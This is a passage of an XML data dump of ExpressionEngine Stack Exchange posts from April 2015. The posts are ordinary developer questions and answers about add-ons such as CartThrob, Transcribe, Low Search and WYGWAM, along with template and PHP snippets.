'required');&#xA;ee()-&amp;gt;form_validation-&amp;gt;set_rules('lastname', 'lang:lastname', 'required');&#xA;&#xA;// Fetch data from the form&#xA;$firstname = ee()-&amp;gt;input-&amp;gt;post(&quot;firstname&quot;);&#xA;$lastname = ee()-&amp;gt;input-&amp;gt;post(&quot;lastname&quot;);&#xA;&#xA;if(ee()-&amp;gt;form_validation-&amp;gt;run()==FALSE){&#xA;    self::$errors[&quot;error&quot;] = ee()-&amp;gt;form_validation-&amp;gt;error_string();&#xA;}&#xA;&#xA;&#xA;// If there are no errors, redirect to the &quot;return&quot; url&#xA;if( empty( self::$errors ) ) {&#xA;    ee()-&amp;gt;functions-&amp;gt;redirect( ee()-&amp;gt;functions-&amp;gt;create_url( ee()-&amp;gt;input-&amp;gt;get_post('return') ) );&#xA;}&#xA;&#xA;// Store submitted data to static formdata array&#xA;self::$formdata = array(&#xA;    &quot;firstname&quot; =&amp;gt; $firstname,&#xA;    &quot;lastname&quot; =&amp;gt; $lastname&#xA;);&#xA;&#xA;// Continue loading this page&#xA;ee()-&amp;gt;core-&amp;gt;generate_page();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this with what has been suggested I will get there. &lt;/p&gt;&#xA;" OwnerUserId="5029" LastEditorUserId="5029" LastEditDate="2015-04-30T13:39:02.840" LastActivityDate="2015-04-30T13:39:02.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31243" PostTypeId="2" ParentId="31232" CreationDate="2015-04-29T19:59:05.263" Score="1" Body="&lt;p&gt;No new features - &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-10-0&quot; rel=&quot;nofollow&quot;&gt;view changelog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v3 is being released this year and the developers confirmed that there are no more features to be released in the v2 family, it will only be security additions and bug fixes.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-04-29T19:59:05.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31244" PostTypeId="1" CreationDate="2015-04-29T20:05:59.673" Score="2" ViewCount="71" Body="&lt;p&gt;EE 2.7.3c / WYGWAM 3.3.2 / MSM / Native EE File Management&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All images/files are loaded on one domain but need to be used on both. WYGWAM is returning relative paths so the client has to manually insert the correct domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get WYGWAM to return a full path?&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-04-30T16:35:34.090" Title="Full Paths from WYGWAM?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31245" PostTypeId="1" AcceptedAnswerId="31246" CreationDate="2015-04-29T20:24:50.390" Score="1" ViewCount="133" Body="&lt;p&gt;I've been learning cart throb for about a month off and on and there's one functionality that seems to be missing. If I'm trying to purchase three black shirts I will use a quantity tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form class='forms product-forms id{purchasable_products:entry_id} off' entry_id=&quot;{purchasable_products:entry_id}&quot; no_tax=&quot;{no_tax}&quot;}&#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{count}]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&#xA;                    {exp:cartthrob:item_options entry_id=&quot;{purchasable_products:entry_id}&quot;}&#xA;&#xA;                        {select class='width-70 margin-bottom' limit=&quot;1&quot;}&#xA;                            &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_value} {if option_price_numeric != 0} ({option_price}){/if}&amp;lt;/option&amp;gt;&#xA;                        {/select}&#xA;&#xA;                    {/exp:cartthrob:item_options}&#xA;&#xA;                    &amp;lt;input type=&quot;text&quot; class=&quot;product_quantity&quot; name=&quot;quantity[{count}]&quot; value=&quot;1&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-green add-to-cart&quot; data-target=&quot;cart-update&quot;&amp;gt;Add to Cart&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;a href=&quot;/shopping/view-cart&quot; class=&quot;btn btn-blue btn-disabled view-cart-button&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-shopping-cart&quot;&amp;gt;&amp;lt;/i&amp;gt;View Cart&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;a href=&quot;/shopping/checkout&quot; class=&quot;btn btn-green btn-disabled checkout-button&quot;&amp;gt;Checkout&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                {/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add those three items, they show in my cart as three separate entries rather than one entry with one quantity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which says items are added, but the cart total is $0.00 and still shows as multiple entires in the view cart page. View cart code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info} &#xA;    {product_photos limit='1'}&#xA;            &amp;lt;img src=&quot;{product_photos:photo}&quot; alt=&quot;{product_photos:photo_title}&quot;&amp;gt;&#xA;    {/product_photos}&#xA;    &amp;lt;h3 class=&quot;pull-left&quot;&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which results in looped out items, but adds no money to the cart. My goal is to only show a single item, with its proper quantity and proper cart price.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="1085" LastEditDate="2015-04-29T20:56:25.843" LastActivityDate="2015-04-30T16:45:19.030" Title="Show one product with multiple quantity as one entry with Cartthrob" Tags="|cartthrob|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31246" PostTypeId="2" ParentId="31245" CreationDate="2015-04-29T21:09:14.060" Score="1" Body="&lt;p&gt;This is a settings in your CartThrob options, I don't have the latest version of CT installed but should be able to goto CartThrob &gt; Products &gt; Product Options &gt; Split multiple quantities into single items. In your case you would probably want &quot;No&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the cartthrob_lang.php file since I don't think it is mentioned in their docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your prodcts can be configured with unique options (like color,&#xA;  shape, size, personalization) set this to &quot;yes.&quot; Normally, if your&#xA;  products do not have configuration options, setting this to &quot;no&quot; add&#xA;  quantiy if &quot;add to cart&quot; is used multiple times on the same product.&#xA;  If this is set to &quot;yes&quot; each time &quot;add to cart&quot; is used on one product&#xA;  a completely new product will be added to the cart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since it appears you are only adding a single item to the cart you would be perfectly fine using the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;add_to_cart_form&lt;/a&gt; instead of the multi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your view cart_items_info tag does not look complete which would cause some issues with proper outputting. I think you are interested in the &lt;code&gt;{exp:cart throb:cart_total}&lt;/code&gt; or &lt;code&gt;{exp:cart throb:cart_subtotal}&lt;/code&gt; tags among others to show the actual cart value along side of &lt;code&gt;{exp:cart throb:cart_items_info}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-04-30T16:45:19.030" LastActivityDate="2015-04-30T16:45:19.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31247" PostTypeId="1" CreationDate="2015-04-30T08:35:28.310" Score="1" ViewCount="372" Body="&lt;p&gt;I use Transcribe's {exp:transcribe:language_links} tag in an embedded header template to output a language switcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website has two languages and uses Structure to manage pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm on a certain static page, that has been associated with language A, and does have a 'sister'-page in language B, and I use the language switcher, it always redirects me to the homepage, instead of the same page in language B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this intended behaviour? Shouldn't I be redirected to the same page in the other language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also; I'm pretty sure it used to work at some point before the website went live. Could it have anything to do with the website being accessed from a different URL than during development?&lt;/p&gt;&#xA;" OwnerUserId="6262" LastActivityDate="2015-04-30T09:50:55.623" Title="Transcribe always redirects to homepage after switching language" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31248" PostTypeId="2" ParentId="31247" CreationDate="2015-04-30T09:44:32.467" Score="2" Body="&lt;p&gt;You could have pasted your complete tag as an example :), however I guess you're doing sometihng like this (from the docs) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:transcribe:language_links}&#xA;    {languages}&#xA;        &amp;lt;a href=&quot;{link}&quot;{if current} class=&quot;active&quot;{/if}&amp;gt;{name}&amp;lt;/a&amp;gt;&#xA;    {/languages}&#xA;{/exp:transcribe:language_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right? I'm not sure if this is the desired beghaviour (I dobn't have transcribe installed) but couldn't you modify it to be somethnig like this (also from the docs):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;{exp:transcribe:action_url}&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;{current_path}&quot;&amp;gt;&#xA;{exp:transcribe:language_links}&#xA;    &amp;lt;select name=&quot;lang&quot;&amp;gt;&#xA;        {languages}&#xA;            &amp;lt;option value=&quot;{abbreviation}&quot;{if current} selected=&quot;selected&quot;{/if}&amp;gt;{name}&amp;lt;/option&amp;gt;&#xA;        {/languages}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/exp:transcribe:language_links}&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we are making a form that posts tothe language changing ACTion, but additionally I have added a hidden RET (return) parameter. If this form is handled like any other EE form this should dictate where to return the user after the ACTion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus, you could also use transcribe to check if there is a translated entry for the current page, if there is set the RET value, if there isn't don't set it so they get sent ot the homepage...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the &quot;it used to work&quot;, can you check that your channel entries have their linked language content still set? this should jsut be an entry relationship so no URL's stored, however it does seem like transcribe has 'lost track' of its Associated Entries. You didn't import any data did you? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, take a gander at the answers to this question : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/25318/transcribe-after-ajax-request-when-i-switch-language-it-directs-me-to-the-aja&quot;&gt;Transcribe - After AJAX request, when i switch language it directs me to the AJAX endpoint&lt;/a&gt; , while it's not directly related the solution describes how tracker is used to determin the last URL visited, perhaps the tracker is out of kilter??&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-04-30T09:50:55.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31249" PostTypeId="1" AcceptedAnswerId="32566" CreationDate="2015-04-30T10:07:09.090" Score="0" ViewCount="77" Body="&lt;p&gt;When I try saving Cache breaking rules with Mustash, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1366&#xA;&#xA;Incorrect integer value: 'NULL' for column 'group_id' at row 1&#xA;&#xA;INSERT INTO `exp_stash_rules` (`plugin`, `hook`, `group_id`, `bundle_id`, `scope`, `pattern`, `ord`, `site_id`) VALUES ('channel_entries', '@all', 'NULL', 'NULL', 'NULL', '', 0, '2')&#xA;&#xA;Filename: third_party/mustash/models/mustash_model.php&#xA;&#xA;Line Number: 574&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using a Multi-Site Manager setup.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-08-07T09:06:17.817" LastActivityDate="2015-08-07T09:29:21.343" Title="Mustash Cache breaking rules" Tags="|stash|database-error|mustash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31250" PostTypeId="2" ParentId="31220" CreationDate="2015-04-30T10:41:19.167" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrap my last, I've worked out what your issue is. EE automatically encodes URL's and Email addresses on output! this is what you're seeing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly there's no way to turn it off per use, so to speak...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll have to do is turn off auto encoding (see below) for the Zoo Visitor channel (Zoo Visitor uses a channel to add extra fields to users), then call it manually whenever you want to display the encoded version (encoding basically turns URL's into links and email addresses into JS obfuscated output to stop crawlers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You’ll need to turn off “Automatically turn URLs and email addresses into links?” here:  Admin &gt; Channel Administration &gt; Channels &gt; [Your Channel] &gt;  Edit Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the encoded version you can use the &lt;code&gt;{encode}&lt;/code&gt; tag to force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should get you rocking :) Let us know how you get on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;&#xA;Looks to me like the &lt;code&gt;{visitor:email_address}&lt;/code&gt; and &lt;code&gt;{visitor:website}&lt;/code&gt; tags are returning HTML for the email address/website fields. i.e. for the email it looks like its serving you a span with some stuff in it, for the website it looks like a link. of course if you push these straight into the value fields they'll break all over the place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you append the following to your template and let us know the output ? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;    {visitor:email_address}&#xA;    ----------------------------&#xA;    {visitor:website}&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you also tell us exactly what field type these 2 fields are (i'm guessing ome form of specific email address field and a Link field)? I can then take a punt at the exact answer for you...&#xA;This should tell us if HTML is being output, then all we need to do if figure out how to get the correct value you're looking for!&#xA;&lt;/strike&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-30T11:03:32.973" LastActivityDate="2015-04-30T11:03:32.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31251" PostTypeId="1" CreationDate="2015-04-30T11:24:30.700" Score="2" ViewCount="510" Body="&lt;p&gt;i just got expression engine 2.10.0 and i made a channel with a file upload field, when i try to upload file i click on &lt;code&gt;Add File&amp;gt; Upload File&amp;gt; Brows&lt;/code&gt;, after selecting my file when i click on &lt;code&gt;upload file&lt;/code&gt; it does nothing and just waiting. i checked in browser developer area in &lt;code&gt;net&amp;gt; Html&lt;/code&gt; tab i have this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Reload the page to get source for: mysite.com/system/index.php?/cp/content_files_modal/upload_file&amp;amp;S=1301649de23f656ed526f3d407847484&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all permissions are right and upload destination is ok.&#xA;any suggestion what could it be??&lt;/p&gt;&#xA;" OwnerUserId="6251" LastActivityDate="2019-01-21T07:01:55.470" Title="File upload not working in expressionengine 2.10.0" Tags="|file-uploads|ee2-upgrades|file-manager|ee|uploads|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31252" PostTypeId="1" AcceptedAnswerId="31256" CreationDate="2015-04-30T11:28:28.310" Score="2" ViewCount="322" Body="&lt;p&gt;I've been wrestling with this for too long and it's doing my head in now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the low search plugin for expressionengine and want to search:&#xA;a) by keyword (which is working fine)&#xA;b) by channel - selected by dropdown (which I can't get to work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the results would show channel entries with the relevant keywords ONLY in the selected channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;        form_class=&quot;header-search&quot;&#xA;        form_id=&quot;search-keywords&quot;&#xA;        required=&quot;keywords&quot;&#xA;        result_page=&quot;search/results&quot;&#xA;}&#xA;            &amp;lt;select name=&quot;searchChannel&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;channel1|channel2&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;channel1&quot;&amp;gt;Channel1&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;channel2&quot;&amp;gt;Channel2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot;id=&quot;keywords&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;{/exp:low_search:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;   disable=&quot;{gv:disable_default}&quot; &#xA;   limit=&quot;18&quot;&#xA;   orderby_sort=&quot;title|asc&quot;&#xA;   query=&quot;{segment_3}&quot;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can pass through the searchChannel field through to the results page by adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{low_search_searchChannel}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the results page; and of course I can set the channel filter in the results page by hard coding it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;channel1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;{low_search_searchChannel}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get nothing. There's probably a better way anyway to pass it straight in via the form tag, but have tried everything I can think of!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="6263" LastActivityDate="2015-04-30T15:38:30.953" Title="Low Search - have channel as search criteria" Tags="|low-search|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31254" PostTypeId="2" ParentId="31252" CreationDate="2015-04-30T12:52:23.730" Score="-1" Body="&lt;p&gt;Ahhh, good old parse order :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{low_search_searchChannel}&lt;/code&gt; can't be parsed until it is inside of the &lt;code&gt;{exp:low_search:results }&lt;/code&gt; I would suspect. How about a little PHP to get you out of stuck-ville?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PHP on Input&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $query = ee()-&amp;gt;uri-&amp;gt;segment(3);&#xA;    $query = json_decode(base64_decode($query));&#xA;    //validate your channel here&#xA;    $channel = 'channel1|channel2'; //default&#xA;    if ( !empty ( $query-&amp;gt;searchChannel ) ) { &#xA;        $channel = $query-&amp;gt;searchChannel;&#xA;    }&#xA;?&amp;gt;&#xA;{exp:low_search:results &#xA;    disable=&quot;{gv:disable_default}&quot; &#xA;    limit=&quot;18&quot;&#xA;    orderby_sort=&quot;title|asc&quot;&#xA;    query=&quot;{segment_3}&quot;  &#xA;    channel=&quot;&amp;lt;?php echo $channel ; ?&amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should check if searchChannel was submitted (you can further check it where I put the comment) and fetch it into a PHP variable, completely seperate from low_search. on output if &lt;code&gt;$channel&lt;/code&gt; is empty (perhaps someone tried to inject something and it got cleaned) it puts the default channels in, synonymous with your All option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give that a little try and see how you get on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added code to examplify how to decode the Low Search URL parameter...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; Making a site about biking or holidays per chance?? lol, I decoded your example from the comments, channel = tours, keywords = france.... :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-30T13:50:00.120" LastActivityDate="2015-04-30T13:50:00.120" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="31255" PostTypeId="2" ParentId="31244" CreationDate="2015-04-30T15:14:59.683" Score="1" Body="&lt;p&gt;CKEditor has a &quot;config.baseHref&quot; parameter - check &lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html&lt;/a&gt;&#xA;Maybe use the wygwam_config hook ( &lt;a href=&quot;https://docs.pixelandtonic.com/wygwam/developers/wygwam_config.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.pixelandtonic.com/wygwam/developers/wygwam_config.html&lt;/a&gt; ) to set that parameter per site?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-04-30T15:14:59.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31256" PostTypeId="2" ParentId="31252" CreationDate="2015-04-30T15:38:30.953" Score="1" Body="&lt;p&gt;There is no need to approach it like that. Low Search handles both native and custom parameters the same: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;like this&lt;/a&gt;. So &lt;strong&gt;any parameter can be an input field&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that if you name your select element &lt;code&gt;channel&lt;/code&gt;, you're already done, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;channel&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;channel1|channel2&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;channel1&quot;&amp;gt;Channel1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;channel2&quot;&amp;gt;Channel2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to set the &lt;code&gt;channel=&quot;&quot;&lt;/code&gt; param on the Results tag, let alone for PHP in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better still, since you're using the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;, you might want to consider targeting the &lt;code&gt;collection&lt;/code&gt; param rather than &lt;code&gt;channel&lt;/code&gt;, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;collection&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;  {collections}&#xA;    &amp;lt;option value=&quot;{collection_name}&quot;&amp;gt;{collection_label}&amp;lt;/option&amp;gt;&#xA;  {/collections}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-30T15:38:30.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31257" PostTypeId="1" AcceptedAnswerId="31259" CreationDate="2015-04-30T16:23:20.197" Score="0" ViewCount="373" Body="&lt;p&gt;I need to delete users from an ExpressionEngine site, version 2.7.2. How do I do it without deleting their respective entries and content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question might be a duplicate - &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30095/what-happens-if-i-delete-a-member-does-it-delete-their-entries&quot;&gt;What happens if I delete a member, does it delete their entries?&lt;/a&gt; - but I don't have the reassign option. I only get a warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Are you sure you want to delete these members?&#xA;&#xA;guest_user&#xA;THIS ACTION CANNOT BE UNDONE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OnbvH.png&quot; alt=&quot;Member delete warning&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2018-04-18T13:18:04.833" Title="How do I delete users without deleting their content?" Tags="|delete|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31258" PostTypeId="2" ParentId="27265" CreationDate="2015-04-30T16:32:25.490" Score="0" Body="&lt;p&gt;These links are to your member templates. As Derek says  get in there and check them out, it seems someone has managed to edit them... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you use the default member templates in your implimentation? If not you may be safest just deleting all the member templates from the server, otherwise someone with an account might be doing things you never even realised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the member template sif you goto /member and log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete them (I doubt this is best practice but it will remove the offending pages) take a gander in /themes/profile_system. there are 2 folders in here that contain a myriad of 'member area' default templates that could allow users to much about. If you dleete them you can't use them (obviously) but you won't get those errors again!!!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-30T16:32:25.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31259" PostTypeId="2" ParentId="31257" CreationDate="2015-04-30T16:35:14.870" Score="1" Body="&lt;p&gt;I believe it only gives you the option to reassign if they actually have content. At least thats what I thought? Maybe it just looks at the users channel posting priviledges before offering the re-assign option...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has guest_user actually posted anything yet??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to create another member group based on &quot;banned&quot; or &quot;guest&quot; and instead of deleting a user move them in to your new sand-boxed group...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-30T16:35:14.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31260" PostTypeId="2" ParentId="31244" CreationDate="2015-04-30T16:35:34.090" Score="1" Body="&lt;p&gt;Missed the easy answer - I had relative paths configured on the file upload directories. Changed to full paths there and it comes through in WYGWAM.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-04-30T16:35:34.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31261" PostTypeId="2" ParentId="13793" CreationDate="2015-04-30T17:16:49.743" Score="0" Body="&lt;p&gt;I know it's late but one thing to note is that you have installed the cookie consent module and the user hasn't already given permission the cart tag creates an order in the CP but leaves the cart empty on the front-end.&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2015-04-30T17:16:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31262" PostTypeId="2" ParentId="14147" CreationDate="2015-04-30T17:35:37.833" Score="0" Body="&lt;p&gt;I know this is a bit old, but I'm going to pipe in with a link... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://withchief.com/blog/expressionengine-selling-tickets-with-cartthrob&quot; rel=&quot;nofollow&quot;&gt;http://withchief.com/blog/expressionengine-selling-tickets-with-cartthrob&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just embarking on such a project, except there's likely to be hundreds of &quot;events&quot; - so I'm toying with using a matrix field for product options (with CT) and setting the date, time, location and &quot;facilitator&quot; within a matrix row.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2015-04-30T17:35:37.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
